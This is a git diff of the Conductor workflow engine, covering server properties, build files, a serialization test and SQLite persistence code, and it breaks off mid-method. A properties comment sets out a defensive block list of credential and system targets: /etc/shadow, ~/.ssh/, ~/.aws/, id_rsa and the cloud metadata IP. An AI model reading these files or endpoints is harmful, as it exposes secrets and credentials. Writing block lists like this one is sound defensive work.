https://docs.micrometer.io/micrometer/reference/implementations.html for configuration properties +management.atlas.metrics.export.enabled=false +management.otlp.metrics.export.enabled=false +management.influx.metrics.export.enabled=false +management.elastic.metrics.export.enabled=false +management.dynatrace.metrics.export.enabled=false +management.new-relic.metrics.export.enabled=false + +management.stackdriver.metrics.export.enabled=false +management.stackdriver.metrics.export.projectId=YOUR_PROJECT_ID + +management.datadog.metrics.export.enabled=false +management.datadog.metrics.export.apiKey=YOUR_API_KEY + +management.statsd.metrics.export.enabled=false +management.cloudwatch.metrics.export.enabled=false +management.cloudwatch.metrics.export.namespace=conductor + +management.azuremonitor.metrics.export.enabled=false +management.azuremonitor.metrics.export.instrumentationKey=INSTRUMENTATION_KEY +management.jmx.metrics.export.enabled=false + +# When enabled logs metrics as info level logs +conductor.metrics-logger.enabled=false +# Start AI Workers +conductor.integrations.ai.enabled=true + +# Vector store: with SQLite persistence + AI both enabled (as above), Conductor +# auto-registers a zero-infrastructure vector DB instance named "default", backed by +# the bundled sqlite-vec extension. Workflows can use it directly with "vectorDB":"default" +# (see ai/examples/30-rag-sqlite-vec.json). Override defaults if needed: +#conductor.vectordb.sqlite-default.dimensions=256 +#conductor.vectordb.sqlite-default.distance-metric=cosine +#conductor.vectordb.sqlite-default.db-path=conductor_vectordb.db + +# ============================================================================= +# Document Access Policy - Security defaults for DocumentLoader +# ============================================================================= +# Prevents reading/writing sensitive files from local filesystem and blocks +# cloud metadata endpoints (AWS, GCP, Azure, Alibaba). Built-in defaults +# cover /etc/passwd, /etc/shadow, /proc/, ~/.ssh/, ~/.aws/, cloud metadata +# IPs (169.254.169.254, metadata.google.internal), and common secret files +# (.env, credentials.json, id_rsa, keystore.jks, etc.). +# +# The file-storage parentDir is automatically included as an allowed directory +# for local filesystem access. Only paths under allowed directories are permitted; +# all others are denied regardless of blocklists. +# To allow additional directories beyond the parentDir (comma-separated): +#conductor.document-access-policy.allowed-directories=/tmp/imports/,/data/shared/ +# +# Add custom entries (comma-separated) to extend the built-in blocklists: +#conductor.document-access-policy.blocked-path-prefixes=/custom/sensitive/,/internal/data/ +#conductor.document-access-policy.blocked-file-names=secret.yaml,api-key.txt +#conductor.document-access-policy.blocked-hosts=internal.corp.net,10.0.0.1 +# +# Emergency override (NOT recommended for production): +conductor.document-access-policy.disabled=false + +# ============================================================================= +# AI Provider Configuration - Environment Variable Defaults +# ============================================================================= +# Providers are automatically enabled when their API key is set. +# Set the standard environment variables below to configure each provider. +# These can be overridden by explicit property values in this file or via +# external configuration (e.g. conductor.properties). +# ============================================================================= + +# OpenAI (GPT-4o, DALL-E 3, Sora, text-embedding-3-small/large) +conductor.ai.openai.api-key=${OPENAI_API_KEY:} +conductor.ai.openai.organization-id=${OPENAI_ORG_ID:} + +# Anthropic (Claude 3.5/4 Sonnet, Claude 3 Opus/Haiku) +conductor.ai.anthropic.api-key=${ANTHROPIC_API_KEY:} + +# Mistral AI (Mistral Small/Medium/Large, Mixtral) +conductor.ai.mistral.api-key=${MISTRAL_API_KEY:} + +# Cohere (Command, Command-R, embed-english-v3.0) +conductor.ai.cohere.api-key=${COHERE_API_KEY:} + +# Grok / xAI (Grok-3, Grok-3-mini) +conductor.ai.grok.api-key=${XAI_API_KEY:} + +# Perplexity AI (Sonar, Sonar Pro) +conductor.ai.perplexity.api-key=${PERPLEXITY_API_KEY:} + +# HuggingFace (Llama, Mistral, Zephyr) +conductor.ai.huggingface.api-key=${HUGGINGFACE_API_KEY:} + +# Stability AI (SD3.5, Stable Image Core, Stable Image Ultra) +conductor.ai.stabilityai.api-key=${STABILITY_API_KEY:} + +# Azure OpenAI +conductor.ai.azureopenai.api-key=${AZURE_OPENAI_API_KEY:} +conductor.ai.azureopenai.base-url=${AZURE_OPENAI_ENDPOINT:} +conductor.ai.azureopenai.deployment-name=${AZURE_OPENAI_DEPLOYMENT:} + +# AWS Bedrock (Claude, Titan, Llama via AWS) +conductor.ai.bedrock.access-key=${AWS_ACCESS_KEY_ID:} +conductor.ai.bedrock.secret-key=${AWS_SECRET_ACCESS_KEY:} +conductor.ai.bedrock.region=${AWS_REGION:us-east-1} +conductor.ai.bedrock.bearerToken=${AWS_BEARER_TOKEN_BEDROCK:} + +# Google Gemini / Vertex AI (Gemini, Veo) - use API key OR GOOGLE_APPLICATION_CREDENTIALS for auth +conductor.ai.gemini.api-key=${GEMINI_API_KEY:} +conductor.ai.gemini.project-id=${GOOGLE_CLOUD_PROJECT:} +conductor.ai.gemini.location=${GOOGLE_CLOUD_LOCATION:us-central1} + +# Ollama (local inference server) +conductor.ai.ollama.base-url=${OLLAMA_HOST:http://localhost:11434} \ No newline at end of file diff --git a/server/src/main/resources/banner.txt b/server/src/main/resources/banner.txt new file mode 100644 index 0000000..3f35018 --- /dev/null +++ b/server/src/main/resources/banner.txt @@ -0,0 +1,7 @@ + ______ ______ .__ __. _______ __ __ ______ .___________. ______ .______ + / | / __ \ | \ | | | \ | | | | / || | / __ \ | _ \ +| ,----'| | | | | \| | | .--. || | | | | ,----'`---| |----`| | | | | |_) | +| | | | | | | . ` | | | | || | | | | | | | | | | | | / +| `----.| `--' | | |\ | | '--' || `--' | | `----. | | | `--' | | |\ \----. + \______| \______/ |__| \__| |_______/ \______/ \______| |__| \______/ | _| `._____| +${application.formatted-version} :::Spring Boot:::${spring-boot.formatted-version} diff --git a/server/src/main/resources/log4j2.xml b/server/src/main/resources/log4j2.xml new file mode 100644 index 0000000..a35b658 --- /dev/null +++ b/server/src/main/resources/log4j2.xml @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + diff --git a/server/src/test/java/com/netflix/conductor/common/config/ConductorObjectMapperTest.java b/server/src/test/java/com/netflix/conductor/common/config/ConductorObjectMapperTest.java new file mode 100644 index 0000000..af01437 --- /dev/null +++ b/server/src/test/java/com/netflix/conductor/common/config/ConductorObjectMapperTest.java @@ -0,0 +1,103 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import java.io.IOException; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.protobuf.Any; +import com.google.protobuf.Struct; +import com.google.protobuf.Value; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * Tests the customized {@link ObjectMapper} that is used by {@link com.netflix.conductor.Conductor} + * application. + */ +public class ConductorObjectMapperTest { + + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + @Test + public void testSimpleMapping() throws IOException { + assertTrue(objectMapper.canSerialize(Any.class)); + + Struct struct1 = + Struct.newBuilder() + .putFields( + "some-key", Value.newBuilder().setStringValue("some-value").build()) + .build(); + + Any source = Any.pack(struct1); + + StringWriter buf = new StringWriter(); + objectMapper.writer().writeValue(buf, source); + + Any dest = objectMapper.reader().forType(Any.class).readValue(buf.toString()); + assertEquals(source.getTypeUrl(), dest.getTypeUrl()); + + Struct struct2 = dest.unpack(Struct.class); + assertTrue(struct2.containsFields("some-key")); + assertEquals( + struct1.getFieldsOrThrow("some-key").getStringValue(), + struct2.getFieldsOrThrow("some-key").getStringValue()); + } + + @Test + public void testNullOnWrite() throws JsonProcessingException { + Map data = new HashMap<>(); + data.put("someKey", null); + data.put("someId", "abc123"); + String result = objectMapper.writeValueAsString(data); + assertTrue(result.contains("null")); + } + + @Test + public void testWorkflowSerDe() throws IOException { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testDef"); + workflowDef.setVersion(2); + + Workflow workflow = new Workflow(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setWorkflowId("test-workflow-id"); + workflow.setStatus(Workflow.WorkflowStatus.RUNNING); + workflow.setStartTime(10L); + workflow.setInput(null); + + Map data = new HashMap<>(); + data.put("someKey", null); + data.put("someId", "abc123"); + workflow.setOutput(data); + + String workflowPayload = objectMapper.writeValueAsString(workflow); + Workflow workflow1 = objectMapper.readValue(workflowPayload, Workflow.class); + + assertTrue(workflow1.getOutput().containsKey("someKey")); + assertNull(workflow1.getOutput().get("someKey")); + assertNotNull(workflow1.getInput()); + } +} diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..ae44790 --- /dev/null +++ b/settings.gradle @@ -0,0 +1,89 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +rootProject.name = 'conductor' + +include 'ai' +include 'agentspan-server' +include 'annotations' +include 'annotations-processor' + +include 'server' +include 'common' +include 'core' + +include 'cassandra-persistence' +include 'redis-configuration' +include 'redis-api' +include 'redis-persistence' + +include 'es6-persistence' + +include 'redis-lock' + +include 'awss3-storage' +include 'awssqs-event-queue' + +include 'redis-concurrency-limit' + +include 'json-jq-task' +include 'http-task' + +include 'rest' +include 'grpc' +include 'grpc-server' +include 'grpc-client' + +// community modules +include 'workflow-event-listener' +include 'task-status-listener' +include 'test-util' +include 'kafka' +include 'common-persistence' +include 'mysql-persistence' +include 'postgres-persistence' +include 'sqlite-persistence' +include 'es7-persistence' +include 'es8-persistence' +include 'os-persistence' +include 'os-persistence-v2' +include 'os-persistence-v3' +include 'azureblob-storage' +include 'local-file-storage' +include 'gcs-storage' +include 'postgres-external-storage' +include 'amqp' +include 'nats' +include 'nats-streaming' +include 'kafka-event-queue' + +include 'test-harness' + +include 'scheduler-core' +include 'scheduler-postgres-persistence' +include 'scheduler-mysql-persistence' +include 'scheduler-cassandra-persistence' +include 'scheduler-redis-persistence' +include 'scheduler-sqlite-persistence' + +include 'e2e' + +rootProject.children.each {it.name="conductor-${it.name}"} + +// Map scheduler submodules to their nested directories +project(':conductor-scheduler-core').projectDir = file('scheduler/core') +project(':conductor-scheduler-postgres-persistence').projectDir = file('scheduler/postgres-persistence') +project(':conductor-scheduler-mysql-persistence').projectDir = file('scheduler/mysql-persistence') +project(':conductor-scheduler-cassandra-persistence').projectDir = file('scheduler/cassandra-persistence') +project(':conductor-scheduler-redis-persistence').projectDir = file('scheduler/redis-persistence') +project(':conductor-scheduler-sqlite-persistence').projectDir = file('scheduler/sqlite-persistence') \ No newline at end of file diff --git a/springboot-bom-overrides.gradle b/springboot-bom-overrides.gradle new file mode 100644 index 0000000..3659c5c --- /dev/null +++ b/springboot-bom-overrides.gradle @@ -0,0 +1,39 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +// Contains overrides for Spring Boot Dependency Management plugin +// Dependency version override properties can be found at https://docs.spring.io/spring-boot/docs/3.3.11/reference/htmlsingle/#appendix.dependency-versions.properties + +// Conductor's default is ES6, but SB brings in ES7 +ext['elasticsearch.version'] = revElasticSearch7 + +// When building with ES8 persistence, override Spring Boot's managed Elasticsearch versions. +// Spring Boot 3.3.x manages `org.elasticsearch.client:elasticsearch-rest-client` via +// `elasticsearch.version` and `co.elastic.clients:elasticsearch-java` via +// `elasticsearch-client.version`. +def indexingBackend = findProperty('indexingBackend') ?: 'elasticsearch' +if (indexingBackend == 'elasticsearch8' || indexingBackend == 'es8') { + ext['elasticsearch.version'] = revElasticSearch8 + ext['elasticsearch-client.version'] = revElasticSearch8 +} + +// SB brings groovy 3.0.x which is not compatible with Spock +ext['groovy.version'] = revGroovy + +// Keep Testcontainers aligned across modules instead of Spring Boot BOM defaults. +ext['testcontainers.version'] = revTestContainer + +// Prevent Spring Boot BOM from downgrading Jedis. Modules that need jedis depend on +// conductor-redis-api (which declares jedis as 'api'), and without this override the +// dependency-management plugin would resolve the BOM version instead of 6.0.0. +ext['jedis.version'] = revJedis diff --git a/sqlite-persistence/build.gradle b/sqlite-persistence/build.gradle new file mode 100644 index 0000000..0ece025 --- /dev/null +++ b/sqlite-persistence/build.gradle @@ -0,0 +1,38 @@ +dependencies { + implementation project(':conductor-common-persistence') + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.google.guava:guava:${revGuava}" + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + + // https://mvnrepository.com/artifact/org.flywaydb/flyway-core + implementation 'org.flywaydb:flyway-core:11.3.1' + + // https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc + implementation 'org.xerial:sqlite-jdbc:3.49.0.0' + + + implementation "org.springframework.boot:spring-boot-starter-jdbc" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation project(':conductor-server') + testImplementation project(':conductor-grpc-client') + testImplementation project(':conductor-es7-persistence') + + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation project(':conductor-common-persistence').sourceSets.test.output + testImplementation "org.awaitility:awaitility:${revAwaitility}" +} + +test { + //the MySQL unit tests must run within the same JVM to share the same embedded DB + maxParallelForks = 1 +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteConfiguration.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteConfiguration.java new file mode 100644 index 0000000..6b5d7be --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteConfiguration.java @@ -0,0 +1,294 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.config; + +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.sqlite.dao.SqliteFileMetadataDAO; +import org.conductoross.conductor.sqlite.dao.SqliteSkillMetadataDAO; +import org.conductoross.conductor.sqlite.dao.SqliteSkillPackageDAO; +import org.flywaydb.core.Flyway; +import org.flywaydb.core.api.configuration.FluentConfiguration; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.DependsOn; +import org.springframework.context.annotation.Import; +import org.springframework.retry.RetryContext; +import org.springframework.retry.backoff.ExponentialBackOffPolicy; +import org.springframework.retry.policy.SimpleRetryPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.core.sync.local.LocalOnlyLock; +import com.netflix.conductor.sqlite.dao.*; +import com.netflix.conductor.sqlite.dao.metadata.SqliteEventHandlerMetadataDAO; +import com.netflix.conductor.sqlite.dao.metadata.SqliteMetadataDAO; +import com.netflix.conductor.sqlite.dao.metadata.SqliteTaskMetadataDAO; +import com.netflix.conductor.sqlite.dao.metadata.SqliteWorkflowMetadataDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.PostConstruct; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(SqliteProperties.class) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "sqlite") +@Import(DataSourceAutoConfiguration.class) +@ConfigurationProperties(prefix = "conductor.sqlite") +public class SqliteConfiguration { + + DataSource dataSource; + + private final SqliteProperties properties; + + public SqliteConfiguration(DataSource dataSource, SqliteProperties properties) { + this.dataSource = dataSource; + this.properties = properties; + } + + @PostConstruct + public void initializeSqlite() { + try (Connection conn = dataSource.getConnection(); + Statement stmt = conn.createStatement()) { + + // Enable WAL mode for better concurrent access + stmt.execute("PRAGMA journal_mode=WAL"); + + // Set busy timeout to 30 seconds (30000 ms) + // This makes SQLite wait up to 30s when encountering locks + stmt.execute("PRAGMA busy_timeout=30000"); + + // Enable foreign keys + stmt.execute("PRAGMA foreign_keys=ON"); + + // Optimize for concurrency + stmt.execute("PRAGMA synchronous=NORMAL"); + + // Use memory for temporary storage + stmt.execute("PRAGMA temp_store=MEMORY"); + + } catch (SQLException e) { + throw new RuntimeException("Failed to initialize SQLite database", e); + } + } + + @Bean(initMethod = "migrate") + public Flyway flywayForPrimaryDb() { + FluentConfiguration config = + Flyway.configure() + .dataSource(dataSource) // SQLite doesn't need username/password + .locations("classpath:db/migration_sqlite") // Location of migration files + .sqlMigrationPrefix("V") // V1, V2, etc. + .sqlMigrationSeparator("__") // V1__description + .mixed(true) // Allow mixed migrations (both versioned and repeatable) + .validateOnMigrate(true) + .cleanDisabled(false); + + return new Flyway(config); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteMetadataDAO sqliteMetadataDAO( + SqliteTaskMetadataDAO taskMetadataDAO, + SqliteWorkflowMetadataDAO workflowMetadataDAO, + SqliteEventHandlerMetadataDAO eventHandlerMetadataDAO) { + return new SqliteMetadataDAO(taskMetadataDAO, workflowMetadataDAO, eventHandlerMetadataDAO); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteEventHandlerMetadataDAO sqliteEventHandlerMetadataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteEventHandlerMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteWorkflowMetadataDAO sqliteWorkflowMetadataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteWorkflowMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteTaskMetadataDAO sqliteTaskMetadataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteTaskMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteExecutionDAO sqliteExecutionDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + SqliteQueueDAO queueDAO) { + return new SqliteExecutionDAO(retryTemplate, objectMapper, dataSource, queueDAO); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqlitePollDataDAO sqlitePollDataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqlitePollDataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public SqliteQueueDAO sqliteQueueDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + SqliteProperties properties) { + return new SqliteQueueDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "sqlite") + public SqliteIndexDAO sqliteIndexDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + SqliteProperties properties) { + return new SqliteIndexDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.workflow-execution-lock.type", havingValue = "sqlite") + public Lock sqliteLockDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new LocalOnlyLock(); + } + + @Bean + public RetryTemplate sqliteRetryTemplate(SqliteProperties properties) { + CustomRetryPolicy retryPolicy = new CustomRetryPolicy(); + retryPolicy.setMaxAttempts(10); // Increased for SQLite locking scenarios + + ExponentialBackOffPolicy backOffPolicy = new ExponentialBackOffPolicy(); + backOffPolicy.setInitialInterval(50L); // Start with 50ms + backOffPolicy.setMultiplier(2.0); // Double each time + backOffPolicy.setMaxInterval(5000L); // Max 5 seconds + + RetryTemplate retryTemplate = new RetryTemplate(); + retryTemplate.setRetryPolicy(retryPolicy); + retryTemplate.setBackOffPolicy(backOffPolicy); + return retryTemplate; + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") + public SqliteFileMetadataDAO sqliteFileMetadataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteFileMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public SqliteSkillMetadataDAO sqliteSkillMetadataDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteSkillMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public SqliteSkillPackageDAO sqliteSkillPackageDAO( + @Qualifier("sqliteRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new SqliteSkillPackageDAO(retryTemplate, objectMapper, dataSource); + } + + public static class CustomRetryPolicy extends SimpleRetryPolicy { + + // PostgreSQL error codes + private static final String ER_LOCK_DEADLOCK = "40P01"; + private static final String ER_SERIALIZATION_FAILURE = "40001"; + + // SQLite error codes + private static final int SQLITE_BUSY = 5; + private static final int SQLITE_LOCKED = 6; + + @Override + public boolean canRetry(final RetryContext context) { + final Optional lastThrowable = + Optional.ofNullable(context.getLastThrowable()); + return lastThrowable + .map( + throwable -> + super.canRetry(context) + && (isDeadLockError(throwable) + || isSqliteBusyError(throwable))) + .orElseGet(() -> super.canRetry(context)); + } + + private boolean isDeadLockError(Throwable throwable) { + SQLException sqlException = findCauseSQLException(throwable); + if (sqlException == null) { + return false; + } + return ER_LOCK_DEADLOCK.equals(sqlException.getSQLState()) + || ER_SERIALIZATION_FAILURE.equals(sqlException.getSQLState()); + } + + private boolean isSqliteBusyError(Throwable throwable) { + SQLException sqlException = findCauseSQLException(throwable); + if (sqlException == null) { + return false; + } + + // Check for SQLite BUSY (5) or LOCKED (6) error codes + int errorCode = sqlException.getErrorCode(); + if (errorCode == SQLITE_BUSY || errorCode == SQLITE_LOCKED) { + return true; + } + + // Also check message for SQLite busy/locked indicators + String message = sqlException.getMessage(); + if (message != null) { + return message.contains("SQLITE_BUSY") + || message.contains("database is locked") + || message.contains("SQLITE_LOCKED") + || message.contains("table is locked"); + } + + return false; + } + + private SQLException findCauseSQLException(Throwable throwable) { + Throwable causeException = throwable; + while (null != causeException && !(causeException instanceof SQLException)) { + causeException = causeException.getCause(); + } + return (SQLException) causeException; + } + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteProperties.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteProperties.java new file mode 100644 index 0000000..9067ddd --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteProperties.java @@ -0,0 +1,60 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.config; + +import java.time.Duration; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.sqlite") +public class SqliteProperties { + + /** The time (in seconds) after which the in-memory task definitions cache will be refreshed */ + private Duration taskDefCacheRefreshInterval = Duration.ofSeconds(60); + + private Integer deadlockRetryMax = 3; + + private boolean onlyIndexOnStatusChange = false; + + private Integer asyncMaxPoolSize = 10; + + private Integer asyncWorkerQueueSize = 10; + + public Duration getTaskDefCacheRefreshInterval() { + return taskDefCacheRefreshInterval; + } + + public void setTaskDefCacheRefreshInterval(Duration taskDefCacheRefreshInterval) { + this.taskDefCacheRefreshInterval = taskDefCacheRefreshInterval; + } + + public Integer getDeadlockRetryMax() { + return deadlockRetryMax; + } + + public void setDeadlockRetryMax(Integer deadlockRetryMax) { + this.deadlockRetryMax = deadlockRetryMax; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public boolean getOnlyIndexOnStatusChange() { + return onlyIndexOnStatusChange; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteBaseDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteBaseDAO.java new file mode 100644 index 0000000..e21e793 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteBaseDAO.java @@ -0,0 +1,206 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.Statement; +import java.time.Duration; +import java.time.Instant; +import java.util.Arrays; +import java.util.List; +import java.util.function.Consumer; + +import javax.sql.DataSource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.sqlite.util.*; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +public abstract class SqliteBaseDAO { + + private static final List EXCLUDED_STACKTRACE_CLASS = + List.of(SqliteBaseDAO.class.getName(), Thread.class.getName()); + + protected final Logger logger = LoggerFactory.getLogger(getClass()); + protected final ObjectMapper objectMapper; + protected final DataSource dataSource; + + private final RetryTemplate retryTemplate; + + protected SqliteBaseDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + this.retryTemplate = retryTemplate; + this.objectMapper = objectMapper; + this.dataSource = dataSource; + } + + protected String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, Class tClass) { + try { + return objectMapper.readValue(json, tClass); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, TypeReference typeReference) { + try { + return objectMapper.readValue(json, typeReference); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + private R getWithTransaction(final TransactionalFunction function) { + final Instant start = Instant.now(); + LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + tx.setTransactionIsolation(Connection.TRANSACTION_SERIALIZABLE); + + try { + // Enable foreign keys for SQLite + try (Statement stmt = tx.createStatement()) { + stmt.execute("PRAGMA foreign_keys = ON"); + } + + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + if (th instanceof NonTransientException) { + throw th; + } + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + protected R getWithRetriedTransactions(final TransactionalFunction function) { + try { + return retryTemplate.execute(context -> getWithTransaction(function)); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + protected R getWithTransactionWithOutErrorPropagation(TransactionalFunction function) { + Instant start = Instant.now(); 